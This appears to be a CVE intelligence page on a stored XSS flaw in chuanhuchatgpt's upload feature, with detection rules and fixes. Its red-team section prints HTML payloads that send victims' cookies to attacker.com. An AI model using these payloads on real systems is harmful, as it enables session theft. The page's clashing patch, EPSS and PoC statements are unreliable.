☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-8400

CVE-2024-8400 XSS in chuanhuchatgpt
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8400 is a stored cross-site scripting (XSS) vulnerability identified in the latest version of gaizhenbiao/chuanhuchatgpt, an open-source chat application. The vulnerability allows an authenticated attacker to upload a malicious HTML file containing JavaScript code. When the file is subsequently accessed by any user (including administrators), the embedded JavaScript executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.4 (Medium), and no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct issue in the chuanhuchatgpt application source code.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N) – The attack is performed over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker needs a valid user account to upload files.
  • User Interaction: Required (UI:R) – The victim must access the malicious file.
  • Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: None (A:N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for internal users.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of chuanhuchatgpt. The application does not properly validate or sanitize uploaded file content, specifically HTML files. An attacker can craft an HTML file containing malicious JavaScript (e.g., <script>alert('XSS')</script>). When this file is uploaded and later accessed via its URL, the browser renders the HTML and executes the embedded script.

Root Cause: Lack of content-type validation and missing output encoding when serving uploaded files. The application likely serves uploaded files with a generic MIME type (e.g., text/html or application/octet-stream) without stripping script content.

Attack Flow:

  1. Attacker logs into chuanhuchatgpt.
  2. Attacker uploads a malicious HTML file (e.g., evil.html) containing JavaScript payload.
  3. The file is stored on the server.
  4. Attacker shares the file URL with a victim (or the file is automatically accessible).
  5. Victim opens the URL in a browser.
  6. The browser renders the HTML and executes the JavaScript.
  7. The JavaScript can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:

  • Validate uploaded file MIME types (e.g., reject HTML files).
  • Sanitize file content to remove script tags.
  • Serve uploaded files with a Content-Disposition: attachment header to force download instead of rendering.
  • Use a sandboxed domain or CDN for user uploads.

Vulnerable Code (Conceptual):

# app.py (simplified)
@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded successfully'

Patched Code (Conceptual):

# app.py (patched)
import magic

ALLOWED_MIME_TYPES = ['image/png', 'image/jpeg', 'application/pdf']

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    mime_type = magic.from_buffer(file.read(2048), mime=True)
    if mime_type not in ALLOWED_MIME_TYPES:
        return 'Invalid file type', 400
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded successfully'

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of chuanhuchatgpt (latest version).
  • Valid user credentials (low-privilege account).

Steps:

  1. Create a malicious HTML file (xss.html):
    <html>
    <body>
    <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    </script>
    </body>
    </html>
    
  2. Log in to chuanhuchatgpt.
  3. Navigate to the file upload feature.
  4. Upload xss.html.
  5. Obtain the URL of the uploaded file (e.g., https://victim.com/uploads/xss.html).
  6. Send the URL to a victim (e.g., via chat message or email).
  7. When the victim accesses the URL, the JavaScript executes and exfiltrates cookies.

Advanced Payload (Session Hijacking):

<html>
<body>
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie);
</script>
</body>
</html>

Blue Team (Defensive)

Detection:

  • Monitor file upload logs for HTML files.
  • Inspect uploaded files for script tags.
  • Use WAF rules to block uploads containing <script> tags.

Prevention:

  • Disable file upload functionality if not required.
  • Implement strict MIME type validation.
  • Serve uploaded files from a separate domain with Content-Disposition: attachment.
  • Use Content Security Policy (CSP) headers to block inline scripts.

Hunting:

  • Search server logs for requests to /uploads/*.html.
  • Look for anomalous outbound connections from the server (e.g., to attacker-controlled domains).

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example empty file)
    • a1b2c3d4e5f6... (malicious HTML file hash)
  • Network Indicators:
    • Outbound connections to attacker.com or similar domains.
    • HTTP requests to /uploads/*.html with suspicious referrers.
  • File System Indicators:
    • Presence of .html files in the uploads directory that contain <script> tags.
  • Log Entries:
    • POST /upload with filename ending in .html.
    • GET /uploads/*.html from multiple IPs.

Detection Engineering

YARA Rule

rule CVE_2024_8400_Stored_XSS {
    meta:
        description = "Detects malicious HTML files uploaded to chuanhuchatgpt"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8400"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $onerror = /onerror\s*=/i
        $onload = /onload\s*=/i
    condition:
        $script_tag or $onerror or $onload
}

Sigma Rule

title: CVE-2024-8400 Stored XSS Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to chuanhuchatgpt
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: '.html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads (if allowed)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8400 Stored XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".html"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable file upload functionality in chuanhuchatgpt until a patch is available.
  2. Implement a WAF rule to block uploads of HTML files.
  3. Review and restrict user permissions to limit who can upload files.

Long-term Fixes:

  • Apply input validation and output encoding for all user-uploaded content.
  • Serve uploaded files with Content-Disposition: attachment; filename="..." header.
  • Use a separate domain or CDN for user uploads to isolate from the main application.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Regularly update chuanhuchatgpt to the latest version.

Vendor Contact:

  • No official patch available. Monitor the GitHub repository for updates.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8400/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.